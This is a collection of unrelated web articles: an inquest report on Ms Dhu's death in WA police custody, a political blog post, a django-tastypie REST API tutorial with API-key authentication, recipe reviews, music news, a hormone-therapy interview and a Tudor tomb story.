Ms Dhu, 22, died in August last year after being held at the South Hedland police station in WA's Pilbara region for unpaid fines totalling $3,622.
She was taken to the Hedland Health Campus three times during her detention after saying she felt unwell.
She died on her third visit.
During the opening address, counsel assisting the coroner Ilona O'Brien said Ms Dhu was diagnosed by doctors during the first two visits as having "behavioural issues" and was discharged back into police custody.
Ms O'Brien said unbeknown to the people caring for her, by her second visit Ms Dhu was in the process of dying from septicaemia and pneumonia.
"By the morning of 4 August, 2014, Ms Dhu's clinical state rapidly worsened, and although it was not appreciated by the police officers involved, some of whom believed that Ms Dhu was feigning her illness, she was in an advanced state of septic shock and only hours from death," Ms O'Brien said.
Police felt return to hospital 'not urgent'
On the morning of her death, Ms Dhu was recorded on CCTV footage vomiting in the jail cell and falling backwards and hitting her head on concrete floor.
These events were not witnessed by police.
Ms Dhu complained numerous times and told police her hands were going blue and she could not feel her legs.
Police made the decision to take Ms Dhu back to the Hedland health campus but "felt the transfer was not urgent" by an officer identified as shift supervisor Sergeant Rick Bond.
At that time Sergeant Bond made an entry into the custody system that Ms Dhu "appears to be suffering withdrawals from drug use and is not coping well with being in custody".
The court heard police handcuffed Ms Dhu and took her to the health campus where she "immediately went limp, slumped into the chair and her head and eyes rolled back".
According to the opening address, nurse Caroline Jones recalled that police officers told them Ms Dhu "was faking it" shortly before she went to cardiac arrest and died.
Woman carried like 'a dead kangaroo'
The court was shown footage of the three times Ms Dhu was taken to hospital.
The first two times she walks to the police car, but on the day of her last admission, she appears barely conscious.
There were gasps of horror from friends and family in the court as a police officer is seen attempting to lift Ms Dhu's body from the bed in her cell.
She falls back limply.
She is later dragged from the bed and along the floor out of her cell.
These emotions I go through is like a temperature gauge, the pressure is so high and I don't know where I should stand. Ms Dhu's mother Della Roe
She is carried to a police Land Cruiser by her arms and legs by Senior Constable Shelly Burgess and Constable Christopher Matier, and loaded alone into the back.
After the door is closed, she moans.
"Oh shut up," the tape records a male police officer saying.
She is lifted, seemingly unconscious into a wheelchair from the police car at the hospital, and wheeled inside.
During the video, one member of the court's public gallery remarks: "[She's being carried] like a dead kangaroo.
"Like South Africa. Oh God."
Senior Counsel Peter Quinlan, representing Ms Dhu's family, has questioned exactly when Ms Dhu died, with footage showing her unresponsive in the wheelchair used to take her from the police Land Cruiser into hospital.
Police statements indicate Ms Dhu was conscious during the third trip, and became limp once they arrived and then went into a cardiac arrest.
Ms Dhu was domestic violence victim: family
Ms Dhu's family told the inquest she was a victim of domestic violence who should have been protected, rather than arrested and left to die.
Ms Dhu's mother Della Roe, father Robert Dhu and grandmother Carol Roe all testified she was a domestic violence victim and had broken her ribs in the weeks before she was arrested.
Mr Dhu said he advised his daughter to report the violence to police when she told him she had three broken ribs.
"Dad, my man throbs me, he broke my ribs," Mr Dhu recalled her telling him.
If they [police] had let me talk to her I could have recognised in her voice she was in pain. Grandmother Carol Roe
An autopsy found Ms Dhu's death was partly caused by complications from a previous rib fracture.
Mr Dhu told the court nobody from the WA Health Department or the WA Country Health Service has explained to him why his daughter was sent back to the lock-up when she was so ill.
"They shouldn't have treated anyone like that, they left her there like a dog, to die," he said.
Carol Roe told the court she rang the lock-up twice, concerned for Ms Dhu but police would not let her speak to her.
"It's devastating how she died," she said.
"If they [police] had let me talk to her I could have recognised in her voice she was in pain.
"It hurts so much, my heart is torn out. All this interrogation ... pay your respects to the dead."
The inquest, set down for two weeks, will hear from 10 police officers involved in Ms Dhu's incarceration, all the medical staff involved in her care and the WA country health service.
Before the hearing began this morning outside court, Ms Dhu's mother said the circumstances surrounding her daughter's death remained a mystery and she needed answers.
"These emotions I go through is like a temperature gauge, the pressure is so high and I don't know where I should stand," she said.
"The hardest the thing is I am fighting the Government, my family, my friends, and most of all my loving family while riding this emotional roller-coaster and hurting them with this crazy, angry feeling that I have at this moment."
Royal commission recommendations 'ignored'
Ms Roe said her daughter's death had left her struggling with depression.
"Some days I don't want to do this, but I know if I do anything stupid I won't get justice for my daughter," she said.
"I want answers for myself, my family and for friends that knew my daughter."
Lawyer George Newhouse is representing the WA Deaths in Custody Watch Committee at the coronial inquiry.
He also spoke outside the court and said recommendations of the Royal Commission into Aboriginal Deaths in Custody had been ignored.
"Now those recommendations were made over 25 years ago, and if they had been implemented in WA it's quite likely Ms Dhu would not have passed away," he said.
The inquest has been set down for two weeks.
Topics: death, police, south-hedland-6722, karratha-6714, perth-6000
First posted |
A recent paper (pdf) by Martin Gilens and Benjamin Page is getting a lot of attention, and deservedly so. Gilens and Page look at a number of issues over the past 30+ years where polling data let us identify public policy preferences, which can be compared with elite and interest-group preferences. And what they find is that politicians don’t seem to care very much about what the public thinks: when elite preferences and popular preferences are different, the elite almost always wins.
This is an important insight — and it gains special force these days, when the elite’s views not only favor the elite versus the rest (duh) but have also been systematically wrong, on issues from invading Iraq to giving deficits a higher priority than jobs.
But there is a danger here of going too far, and imagining that electoral politics is irrelevant. Why bother getting involved in campaigns, when the oligarchy rules whichever party is in power?
So it’s worth pointing out it does make a difference. Yes, Democrats pay a lot of attention to plutocrats, and even make a point of inviting Patrimonial Capitalism: The Next Generation to White House galas (I would have missed that, even though it’s in my own paper, but for Kathleen Geier. Thanks!). But it’s quite wrong to say that the parties’ behavior in office is the same. As Floyd Norris points out, Obama has in fact significantly raised taxes on very high incomes, largely through special surcharges included in the Affordable Care Act; and what the Act does with the extra revenue is expand Medicaid and provide subsidies on the exchanges, both means-tested programs whose beneficiaries tend to be mainly lower-income adults. The net effect will be significant losses for the super-elite — not crippling losses, to be sure, and hardly anything that will affect their elite status — and major gains to tens of millions of less fortunate Americans.
If you’re waiting for a revolution, or even a new New Deal, this may seem disappointing. But it matters a lot all the same. |
Django tastypie is a library to write RESTful apis in Django.
Why use REST
You have a database backed web application. This application tracks expenses. The application allows the capability to enter your expenses, view all your expenses, delete an expense etc. Essentially this application provides CRUD functionality. Django application has access to database credentials, but they are never seen by the users of the web application. Django application decides what to show to which user. Django application ensures that a particular user only sees the expenses entered by him and not somebody else’s expenses.
Now you want to provide a mobile application (Android or iOS) corresponding to this web application. Android application should allow the user to view his expenses, create an expense as well as any other CRUD functionality. But database credentials could not be put in Android code as it is not too hard to decompile an apk and get the db credentials. And we never want a user to get the db credentials else he will be in a position to see everyone’s expenses and the entire database. So there has to be another way to allow mobile applications to get things from the database. This is where REST comes into picture.
With REST, we have three components. A database, a Django application and a mobile application. Mobile application never accesses the database directly. It makes a REST api call to Django application. Mobile application also sends a api_key specific to the mobile user. Based on api_key, Django application determines what data to make visible to this particular api_key owner and sends the corresponding data in response.
Resource
REST stands for Representational State Transfer. It is a standard for transferring the state of a Resource, from web to mobile.
What do I mean by state of a Resource?
An expense could be a resource. A Person could be a resource. A blog post could be a resource. Basically any object or instance your program deals with could be a resource. And a resource’s state is maintained in it’s attributes. eg: You could have a model called Expense. The state of a expense instance is represented by its attributes.
Any REST library should be able to create and return a representation of such resource, which simply stated means that REST library should be able to tell us the attributes and their values for different model instances. And tastypie is adept at doing this.
Setting up the application
I am using Django 1.7. Some things might be different for you if you are using different version of Django.
As with all projects, I want to keep things in a virtual environment
$ mkvirtualenv tastier $ workon tastier
Install Django
$ pip install Django
Start a Django project
(tastier) $ django-admin.py startproject tastier (tastier) $ cd tastier/
Start an app
(tastier) $ python manage.py startapp expenses
Add this app to INSTALLED_APPS
Run migration
(tastier)~ $ python manage.py migrate
Runserver
(tastier)~ $ python manage.py runserver
Check that your are able to access http://localhost:8000/admin/login/
I have pushed the code for this project to Github. You will be able to checkout at different commits in the project to see specific things.
Getting started
Install django-tastypie.
(tastier) $ pip install django-tastypie
Create a file called expenses/api.py where you will keep all the tastypie related things.
Suppose your program deals with a resource called Expense. Let’s create a model Expense in expenses/models.py
class Expense(models.Model): description = models.CharField(max_length=100) amount = models.IntegerField()
Run migrations
python manage.py makemigrations python manage.py migrate
We will later add a ForeignKey(User) to Expense to associate an expense with User. Don’t worry about it for now, we will come back to it.
Let’s add few Expense instances in the database.
Expense.objects.create(description='Ate pizza', amount=100) Expense.objects.create(description='Went to Cinema', amount=200)
Handling GET
You want the ability to get the representation of all expenses in your program at url “http://localhost:8000/api/expenses/”.
To deal with a resource, tastypie requires a class which overrides ModelResource. Let’s call our class ExpenseResource. Add following to expenses/api.py
from tastypie.resources import ModelResource from .models import Expense class ExpenseResource(ModelResource): class Meta: queryset = Expense.objects.all() resource_name = 'expense'
And you need to add the following to tastier/urls.py
from expenses.api import ExpenseResource expense_resource = ExpenseResource() urlpatterns = patterns('', url(r'^admin/', include(admin.site.urls)), url(r'^api/', include(expense_resource.urls)), )
GET all expenses
After this you should be able to hit
http://localhost:8000/api/expense/?format=json
and you will see all the expenses from database in the response.
The response would be:
{"meta": {"limit": 20, "next": null, "offset": 0, "previous": null, "total_count": 2}, "objects": [{"amount": 100, "description": "Ate pizza", "id": 1, "resource_uri": "/api/expense/1/"}, {"amount": 200, "description": "Went to Cinema", "id": 2, "resource_uri": "/api/expense/2/"}]}
You will find the representation of expense instances in objects key of response.
Get a particular expense
You can get the representation of expense with id 1 at
http://localhost:8000/api/expense/1/?format=json
See how you are able to hit these two urls without adding them in urlpatterns. These urlpatterns are added by tastypie internally.
How these endpoints help and ties with mobile application example?
If the mobile app wants to show all the expenses it could use the url http://localhost:8000/api/expense/?format=json, get the response, parse the response and show the result on app.
Right now every user will see all the expenses. As we move forward we will see how only a user’s expenses will be returned when a REST call is made from his/her mobile device.
Serialization
You must have realized that REST returns you serialized data. You might be wondering why use django-tastypie to achieve it, and not just use json.dumps. You can undoubtedly use json.dumps and not use django-tastypie to provide REST endpoints. But django-tastypie allows the ability to do many more things very easily as you will soon agree. Just hang on.
Changing Meta.resource_name
You can change ExpenseResource.Meta.resource_name from expense to expenditure .
class ExpenseResource(ModelResource): class Meta: queryset = Expense.objects.all() resource_name = 'expenditure'
And then the old urls will stop working. Your new GET urls in that case will be
http://localhost:8000/api/expenditure/?format=json http://localhost:8000/api/expenditure/1/?format=json
Changing the resource_name changes the urls tastypie makes available to you.
Now change the resource_name back to expense .
We have our first commit at this point. You can checkout to this commit to see the code till this point.
git checkout b6a9c6
Meta.fields
Suppose you only want description in expense representation, but don’t want amount . So you can add a fields attribute on ExpenseResource.Meta
class Meta: queryset = Expense.objects.all() resource_name = 'expenditure' fields = ['description']
Try
http://localhost:8000/api/expense/?format=json
So if you don’t have fields attribute on Meta, all the attributes of Model will be sent in response. If you have fields, only attributes listed in fields will be sent in response.
Let’s add amount also to fields . Though this gives us the same behaviour as not having ExpenseResource.Meta.fields at all.
class Meta: queryset = Expense.objects.all() resource_name = 'expenditure' fields = ['description', 'amount']
We have our second commit at this point. You can checkout till this point by doing:
git checkout 61194c
Filtering
Suppose you only want the Expenses where amount exceeds 150.
If we had to do this with Django model we would say:
Expense.objects.filter(amount__gt=150)
amount__gt is the key thing here. This could be appended to our url pattern to get the expenses where amount exceeds 150.
This could be achieved at url
http://localhost:8000/api/expense/?amount__gt=150&format=json
Try this. You will get an error because we haven’t asked tastypie to allow filtering yet.
Add filtering attribute to ExpenseResource.Meta
class Meta: queryset = Expense.objects.all() resource_name = 'expense' fields = ['description', 'amount'] filtering = { 'amount': ['gt'] }
You should be able to use
http://localhost:8000/api/expense/?amount__gt=150&format=json
This will only return the expenses where amount exceeds 150.
Now we want to get all the expenses on Pizza. We could get pizza expenses in following way from shell.
Expense.objects.filter(description__icontains='pizza')
So to achieve this thing in api, we need to make following changes to ExpenseResource.Meta.filtering:
class Meta: queryset = Expense.objects.all() resource_name = 'expense' fields = ['description', 'amount'] filtering = { 'amount': ['gt'], 'description': ['icontains'] }
And then following url would give us the pizza expenses
http://localhost:8000/api/expense/?description__icontains=pizza&format=json
With GET endpoints we were able to do the Read operations. With POST we will be able to do Create operations, as we will see in next section.
Handling POST
It’s hard to do POST from the browser. So we will use requests library to achieve this.
Check expense count before doing POST.
>>> Expense.objects.count() 2
Tastypie by default doesn’t authorize a person to do POST request. The default authorization class is ReadOnlyAuthorization which allows GET calls but doesn’t allow POST calls. So you will have to disallow authorization checks for the time being. Add the following to ExpenseResource.Meta
authorization = Authorization()
You’ll need to import Authorization class for it.
from tastypie.authorization import Authorization
After this, ExpenseResource would look like:
class ExpenseResource(ModelResource): class Meta: queryset = Expense.objects.all() resource_name = 'expense' fields = ['description', 'amount'] filtering = { 'amount': ['gt'], 'description': ['icontains'] } authorization = Authorization()
Don’t get into detail of Authorization for now, I will come back to it.
Let’s make a POST request to our rest endpoint which will create an Expense object in the database.
post_url = 'http://localhost:8000/api/expense/' post_data = {'description': 'Bought first Disworld book', 'amount': 399} headers = {'Content-type': 'application/json'} import requests import json r = requests.post(post_url, json.dumps(post_data), headers=headers) >>> print r.status_code 201
status_code 201 means that your Expense object was properly created. You can also verify it by checking that Expense count increased by 1.
>>> Expense.objects.count() 3
If you hit the GET endpoint from your browser, you will see this new Expense object too in the response. Try
http://localhost:8000/api/expense/?format=json
We have third commit at this point.
git checkout 749cf3
Explanation of POST
You need to POST at the same url where you get all the expenses. Compare the two urls.
One way of posting is to POST json encoded data. So we used json.dumps
If you are sending json encoded data, you need to send appopriate Content-type header too.
How this ties in with mobile
Android or iOS has a way to make POST request at a given url with headers. So you tell mobile app about the endpoint where they need to post and the data to post. They will call this rest endpoint, and the posted data will be handled by Django tastypie and proper row will be created in the database table.
Adding authentication
Currently GET and POST endpoints respond to every request. So even users who aren’t registered with the site will be able to see the expenses. Our first step is ensuring that only registered users are able to use the GET endpoints.
Api tokens and sessions
In a web application, a user logs in once and then she is able to make any number of web requests without being asked to login every time. eg: User logs in once and then can see her expense list page. After first request she can refresh the page, and can still get response without being asked for her login credentials again. This works because Django uses sessions and cookies to store user state. So browser sends a cookie to Django everytime the user makes a request, and Django app can associate the cookie with a user and shows the data for this particular user.
With mobile apps, there is no concept of sessions, unless the mobile is working with a WebView. The session corresponding thing in a mobile app is Api key. So an api key is associated with a user. Every REST call should include this api key, and then tastypie can use this key to verify whether a logged in user is making the request.
Creating user and api token
Let’s create an user in our system and a corresponding api token for her.
On a shell
Tastypie provides a model called ApiKey which allows storing tokens for users. Let’s create a token for Sheryl.
from tastypie.models import ApiKey ApiKey.objects.create(key='1a23', user=u)
We are setting the api token for sheryl as ‘1a23’
You need to ensure tastypie is in INSTALLED_APPS and you have migrated before you could create ApiKey instance.
The default authentication class provided by tastypie is Authentication which allows anyone to make GET requests. We need to set ExpenseResource.Meta.authentication to ensure that only users who provide valid api key are able to get response from GET endpoints.
Add the following on ExpensesResource.Meta.
authentication = ApiKeyAuthentication()
You need to import ApiKeyAuthentication.
from tastypie.authentication import ApiKeyAuthentication
Try the GET endpoint to get the list of expenses
http://localhost:8000/api/expense/?format=json
You will not see anything in response. If you see your runserver terminal, you’ll notice that status code 401 is raised.
Api key should be sent in the request to get proper response.
Try the following url
http://localhost:8000/api/expense/?format=json&username=sheryl&api_key=1a23
With this Sheryl will be able to get proper api response.
Try sending wrong api_key for sheryl and you will not see proper response.
http://localhost:8000/api/expense/?format=json&username=sheryl&api_key=1a2
With these we ensure that only registered users of the system with proper api key will be able to make GET requests.
Fourth commit at this point
git checkout 48725f
How this ties in with mobile app
When user installs the app, he logs in using his username and password for first time. These credentials are sent to Django server using a REST call. Django server returns the api key corresponding to this user to the mobile app. Mobile app stores this api token on mobile end and then uses this token for every subsequent REST call. User doesn’t have to provide the credentials anymore.
Making unauthenticated POST requests
Unauthenticated POST requests will not work anymore
Try creating an Expense without passing any api key.
post_data = {'description': 'Bought Two scoops of Django', 'amount': 399} headers = {'Content-type': 'application/json'} r = requests.post("http://localhost:8000/api/expense/", data=json.dumps(post_data), headers=headers) print r.status_code #This will give 401
Check that Expense count isn’t increased
Making authenticated POST requests
You only need to change the url to include username and api_key in the url. This will make the request authenticated.
r = requests.post("http://localhost:8000/api/expense/?username=sheryl&api_key=1a23", data=json.dumps(post_data), headers=headers)
This should have worked and Expense count should have increased.
Try with wrong api_key and it will fail.
Getting only User’s expense
Till now we aren’t associating Expense to User. Let’s add a ForeignKey to User from Expense.
Expense model becomes:
from django.db import models from django.contrib.auth.models import User class Expense(models.Model): description = models.CharField(max_length=100) amount = models.IntegerField() user = models.ForeignKey(User, null=True)
Since we already have some Expenses in db which aren’t associated with a User, so we kept User as a nullable field.
Make and run migrations
python manage.py makemigrations python manage.py migrate
Right now our authorization class is set to Authorization. With this every user is authorized to see every expense. We will have to add a custom authorization class to enforce that users see only their expenses.
Add the following to expenses/api.py
class ExpenseAuthorization(Authorization): def read_list(self, object_list, bundle): return object_list.filter(user=bundle.request.user)
And change authorization on ExpenseResource.Meta so it becomes:
class ExpenseResource(ModelResource): class Meta: queryset = Expense.objects.all() resource_name = 'expense' fields = ['description', 'amount'] filtering = { 'amount': ['gt'], 'description': ['icontains'] } authorization = ExpenseAuthorization() authentication = ApiKeyAuthentication()
Explanation of ExpenseAuthorization
When GET endpoint is called for expense list, object_list is created which gives all the expenses.
After this, authorization is checked where further filtering could be done.
In case of GET on list endpoint, authorization class’ read_list() method is called. object_list is passed to read_list.
In tastypie there is a variable called bundle. And bundle has access to request using bundle.request
When authentication is used properly, bundle.request.user is populated with correct user.
Try expense list endpoint for Sheryl
http://localhost:8000/api/expense/?format=json&username=sheryl&api_key=1a23
You will not get any expense after adding ExpenseAuthorization
{"meta": {"limit": 20, "next": null, "offset": 0, "previous": null, "total_count": 0}, "objects": []}
This happenned because at this point no expense is associated with Sheryl.
Create an expense for Sheryl and try the GET endpoint
On the shell
u = User.objects.get(username='sheryl') Expense.objects.create(description='Paid for the servers', amount=1000, user=u) Expense.objects.create(description='Paid for CI server', amount=500, user=u)
Try expense list endpoint for Sheryl again
http://localhost:8000/api/expense/?format=json&username=sheryl&api_key=1a23
You should be able to see all of Sheryl’s expenses.
Fifth commit here.
git checkout 26f7c1
How mobile app will use it.
When Sheryl installs the app, she will be asked to login for the first time. There will be a REST endpoint which takes the username and password for a user and if the credentials are right, returns the api key for the user. Sheryl’s api key will be returned to the mobile app which will store it in local storage. And when Sheryl wants to see her expenses, this REST call will be made to Django server.
http://localhost:8000/api/expense/?format=json&username=sheryl&api_key=1a23
This will only return Sheryl’s expenses.
POST and create Sheryl’s expense
Till now if a POST request is made, even if with Sheryl’s api key, expense is created in db but is not associated with Sheryl.
We want to add functionality where if POST request is made from Sheryl’s device then expense is associated with Sheryl. If POST request is made from Mark’s device then expense should be associated with Mark.
Tastypie provides several hookpoints. We will use one such hookpoint. ModelResource provides a method called hydrate which we need to override. Add the following method to ExpenseResource.
def hydrate(self, bundle): bundle.obj.user = bundle.request.user return bundle
This method is called during POST/PUT calls.
bundle.obj is an Expense instance about to be saved in the database.
So we set user on bundle.obj by reading it from bundle.request. We have already discussed how bundle.request is populated during authentication flow.
Make a POST request now with Sheryl’s api_key.
post_data = {'description': 'Paid for iDoneThis', 'amount': 700} r = requests.post("http://localhost:8000/api/expense/?username=sheryl&api_key=1a23", data=json.dumps(post_data), headers=headers)
Verify that the latest expense instance gets associated with Sheryl. You can also verify it by seeing that this object gets returned in GET expense list endpoint.
http://localhost:8000/api/expense/?format=json&username=sheryl&api_key=1a23
Sixth commit at this point
git checkout 17b932
Try on your own
Create one more user in database, from shell.
Create api key for this user.
POST to REST endpoint with this new user’s api_key and username and verify that the expense gets associated with this new user.
Check GET expense list for this new user and verify that only expense created for this user is in the response.
Now is a good time to dig deeper into django-tastypie and understand about following:
Dehydrate cycle. It is used during GET calls.
Hydrate cycle. It is used during POST/PUT calls. Once you read about hydrate cycle, you will understand when method hydrate() is called.
is called. More about authorization and different methods available on Authorization which could be overridden by you.
Want more?
I am still trying few things with tastypie. Hereafter I will not have much explanation, but I will point to the commit where I attain certain functionality change.
Authorization on detail endpoint.
Expense with id 1 is not associated with any user. But Sheryl is still able to see it at:
http://localhost:8000/api/expense/1/?format=json&username=sheryl&api_key=1a23
She shouldn’t be able to see it as it is not her expense.
So add the following to ExpenseAuthorization
def read_detail(self, object_list, bundle): obj = object_list[0] return obj.user == bundle.request.user
After this Sheryl will not be able to see detail endpoint of any expense which doesn’t belong to her. Try it
http://localhost:8000/api/expense/1/?format=json&username=sheryl&api_key=1a23
Commit id for this:
e650f3 git show e650f3
PUT endpoint
Expense with id 5 belongs to Sheryl. She wants to update this expense, she essentially want to change the description.
Current thing is:
http://localhost:8000/api/expense/5/?format=json&username=sheryl&api_key=1a23
Make PUT request
put_url = "http://localhost:8000/api/expense/5/?username=sheryl&api_key=1a23" put_data = {'description': 'Paid for Travis'} headers = {'Content-type': 'application/json'} r = requests.put(put_url, data=json.dumps(put_data), headers=headers)
Description of Expense 5 is updated as you can verify by trying the detail endpoint again.
http://localhost:8000/api/expense/5/?format=json&username=sheryl&api_key=1a23
Notice that amount remains unchanged. So PUT changes whatever data you provide in the api call and lets everything else remain as it is.
DELETE endpoint
First check all of Sheryl’s expenses
http://localhost:8000/api/expense/?format=json&username=sheryl&api_key=1a23
Sheryl wants to delete her expense with id 5. After this is done she will have one less expense in db.
delete_url = "http://localhost:8000/api/expense/5/?username=sheryl&api_key=1a23" r = requests.delete(delete_url)
Verify that this expense got deleted.
So we were able to do Create, Read, Update and Delete with REST api calls.
Restrict POST request to certain users only
Suppose we want the users to be able to create expenses from web end but don’t want to allow creating expense from mobile using the api. Yeah, weird requiremtn.
Also we don’t want to disallow POST for all users. We still want Sheryl to be able to POST.
To try this we first need a new user with api key in our system. Create it from Django shell.
Restricting POST for everyone except Sheryl
Add following method to ExpenseAuthorization
def create_detail(self, object_list, bundle): user = bundle.request.user # Return True if current user is Sheryl else return False return user.username == "sheryl"
Try making POST request as Mark and see you will not be able to do it. If you want you can see the expense count at this point.
post_data = {'description': 'Petty expense', 'amount': 3000} r = requests.post("http://localhost:8000/api/expense/?username=mark&api_key=2b34", data=json.dumps(post_data), headers=headers) print r.status_code #Should have got 401
Also you can check the expense count again to verify that expense isn’t created.
Status code 401 tells that you aren’t authorized to do this operation.
Verify that Sheryl is still able to create expense
Try posting the same post_data as Sheryl
r = requests.post("http://localhost:8000/api/expense/?username=sheryl&api_key=1a23", data=json.dumps(post_data), headers=headers) print r.status_code
Status code must be 201 in this case which means expense is created. You will be able to see this expense at Sheryl’s GET expense list endpoint.
Verify that Mark is still able to do GET
Mark or any other user should still be able to make GET request even if he isn’t able to make POST request.
http://localhost:8000/api/expense/?username=mark&api_key=2b34&format=json
Since Mark doesn’t have any expense in db, so no object is there is objects key of response. Try creating an expense for this user from shell and then try the GET endpoint again.
Explicitly defining fields and customising them
ModelResource.Meta.fields can be dealt with in a similar way to ModelForm.Meta.fields. If you add the field to ModelResource.Meta.fields then it gets sane default behavriour. But it can be customised by adding the field explicitly on the ModelResource.
Let’s try customising description field.
Add it explicitly on ExpenseResource
description = fields.CharField()
You will need to import the following for it to work.
from tastypie import fields
Try the GET endpoint
http://localhost:8000/api/expense/?username=sheryl&api_key=1a23&format=json
You will see description as null for every expense. Because we committed a mistake.
While explicitly defining a field, we also need to tell the expense attribute that needs to be used for this particular field.
So we need to say
description = fields.CharField(attribute='description')
Now GET endpoint will work as it used to work earlier.
But we did not achieve anything by explicitly adding the field. So what’s the point of explicitly adding it.
Suppose you want the description in the detail endpoint but don’t want it on list endpoint. This can be achieved in following way
description = fields.CharField(attribute='description', use_in='detail')
Try the list and detail endpoint now and notice the difference.
http://localhost:8000/api/expense/?username=sheryl&api_key=1a23&format=json http://localhost:8000/api/expense/8/?username=sheryl&api_key=1a23&format=json
use_in is documented here
Thank you for reading the Agiliq blog. This article was written by akshar on Mar 23, 2015 in django-tastypie . You can subscribe ⚛ to our blog. We love building amazing apps for web and mobile for our clients. If you are looking for development help, contact us today ✉. |
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SO EASY AND SO GOOD! I made a few modifications: Using a 7.25lb Bone-in Turkey Breast I layered the bottom of my crockpot with 3 cut-up celery stalks, one sweet yellow onion, 1/4 cup chicken b...
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LadaFun 371 28
SO EASY AND SO GOOD! I made a few modifications: Using a 7.25lb Bone-in Turkey Breast I layered the bottom of my crockpot with 3 cut-up celery stalks, one sweet yellow onion, 1/4 cup chicken b... Read more
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I like to put just enough water to cover the bottom of the crockpot. Place the turkey in, surround it with quartered onions and carrots, brush the bird with melted butter and then season it well... Read more
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This was so easy and came out absolutely delish! I think I'll make this regularly to have turkey for sandwiches during the week -- way better than cold cuts and you don't have to do the whole Th... Read more
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This is wonderful! I did not know you could cook turkey breast in a slow cooker like this. If you're like me, you'll probably be tempted to add stock or liquid to the meat -- DON'T! Believe m... Read more
Sally 247 166
Moist and very tasty. I will be cooking many more turkey breasts in my slow cooker. It is August and it is too hot to cook. This is another good recipe that doesn't heat up the kitchen. I co... Read more
Indy Nurse 0 6
This was my first turkey I've ever made and it turned out great. I am cooking for two so I used a 3 lb boneless turkey breast. I forgot to buy the dry onion soup mix so I spinkled onion powder a... Read more
K.A. 99 23
This recipe was a lifesaver for me! I'm living on an island outside the US and had to drive 40 miles just to buy a frozen turkey breast, expecting to roast it in the oven for guests Thanksgiving... Read more |
DRAM and Neil Young’s long-rumored song is finally coming out. It’s called “Campfire,” and it appears on the soundtrack to the new Netflix film, Bright, starring Will Smith. The soundtrack album is due out December 13 via Atlantic Records. It also features tracks from Ty Dolla $ign, Migos, A$AP Rocky, Tom Morello, Alt-J, Lil Uzi Vert, and more. View the full tracklist below via Complex. Directed by David Ayer (Suicide Squad, Training Day), Bright sees Will Smith as an LAPD officer who partners with an orc in the movie’s fantasy world. It’s coming to Netflix on December 22.
DRAM teased his collaboration with Young last year, calling the experience “monumental.” DRAM recently released a new Rick Rubin-produced song called “Check Ya Fabrics.” Young’s Hitchhiker LP came out in September, and his new album The Visitor is due December 1.
Revisit Pitchfork’s Rising interview with DRAM. |
The Last Word On Hormone Therapy From the Women's Health Initiative
Back in 2002, a research study blew apart the widely held belief that hormone replacement therapy protected women from heart disease and other chronic ills.
Instead, the Women's Health Initiative study found that taking estrogen plus progestin hormone replacement therapy — HRT — actually increased a woman's risk of heart disease and breast cancer.
The study had a huge effect: Within months the number of women using HRT dropped by almost half.
A second WHI study published two years later reinforced the message, finding that taking estrogen alone also increased the risk of stroke, dementia and other problems.
But confusion over if, why and when to use HRT has lingered.
This week, the Women's Health Initiative published a final comprehensive report on its long, broad and deep look at women and HRT. The study, which was published in JAMA, the journal of the American Medical Association, monitored the health of 27,347 postmenopausal women while they were in the two HRT randomized trials and in the years after. It sums up results that have been published piecemeal in more than 100 articles.
toggle caption Harvard School of Public Health
Shots talked with Dr. JoAnn Manson, lead investigator of the Women's Health Initiative and a professor of medicine at the Harvard School of Public Health, to get the final word. She's been with the study since its birth in 1993. This is an edited version of that conversation.
What does this study tell us that we didn't know before about the benefits and risks of HRT?
The key point is that the results are now broken down by age and time since menopause. This is really what women and their clinicians have needed in order to interpret the findings and provide individualized care.
The recommendation is, don't use hormones for chronic disease prevention, but do consider whether younger women [could use them] for treatment of moderate to severe symptoms of menopause.
Why would age make a difference?
The younger women are less likely to have adverse events [like heart attacks, blood clots, and stroke].
So hormone therapy is appropriate for women in early menopause because they are likely to have quality-of-life benefits that outweigh the small likelihood of adverse events.
A clinician would make a very different risk interpretation for a 71-year-old woman interested in taking hormones for chronic disease prevention.
But it really should not be used for long-term disease prevention by women in any age group, because there is concern about an increased risk of blood clots and stroke.
The bar is set very high for long-term use because of those potential risks.
It seems like that message hasn't gotten across. Ever since the first WHI findings were announced in 2002, many women have presumed they should never, ever use hormone replacement therapy, even for symptom relief.
It was never the intention to deny hormone therapy to women in early menopause. We said OK, hormone therapy shouldn't be used for chronic disease prevention. But many women and their clinicians were misinterpreting that.
If that distinction is clearly made, I think there's a really important advance in health care.
This is a big, complicated study, and it's easy for to get confused. For just one example, the two trials found that taking estrogen alone reduced the risk of breast cancer, while taking it with progestin increased breast cancer risk.
We don't really have a clear understanding of the mechanisms for a finding of lower breast cancer risk for conjugated estrogen alone. It really needs to be looked at more carefully.
In the past decade, many women have turned to other forms of estrogen like bioidenticals or compounded estrogen, thinking they'll be safer.
There are so many medications that are being taken that haven't been studied. They all have their own risks. Hormone replacement therapy is now one of the best-studied medications in history.
It will be helpful to have more research on different formulations of estrogen, the lower doses, and the skin patch and skin gel routes of delivery. But in terms of oral hormone therapy, I think there's a very comprehensive evidence base to use for decision-making.
You've said that back in the 1990s you had a hard time recruiting women for the trial because 40 percent of menopausal women were on HRT.
You know, there's such an irony to the saga of hormone replacement therapy. The pendulum has swung so widely, from "hormone therapy is good for all women" to "it's bad for all women" to now somewhere in between. This really does seem to be the appropriate place for the pendulum to come to rest. But it's been a long saga getting there.
So is this it for you and HRT research?
[Laughs.] We've learned never to say never. We want to look at genetic factors, and blood biomarkers and other factors that may help with clinical decision-making. But the bottom line is unlikely to change. This is really likely to be the most definitive report from the Women's Health Initiative. |
Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Sep. 7, 2013, 3:31 PM GMT By Megan Gannon
Researchers created a 3-D scan of the 16th century tomb of Thomas Howard, 3rd Duke of Norfolk. University of Leicester
Using 3-D modeling, British researchers have digitally reunited two elaborate Tudor-era tombs with some of their original parts that were lost during King Henry VIII's anti-Catholic offensive.
Thomas Howard, third Duke of Norfolk, commissioned the monumental tombs in the 16th century. They were planned for the Thetford Priory, where many members of the prominent and steadfastly Catholic Howard family had been buried.
The Duke, who was the uncle of two of Henry VIII's ill-fated wives, Ann Boleyn and Catherine Howard, wanted one of the tombs for himself. The other was reserved for Henry VIII's illegitimate son, Henry Fitzroy, Duke of Richmond. [Christianity: 8 Religious Relics Revealed]
But after Henry VIII broke with the Roman Catholic Church, creating a Church of England separate from papal rule, he dissolved monasteries, friaries and priories across the country. Thetford Priory was dissolved in 1540, before the tombs were finished.
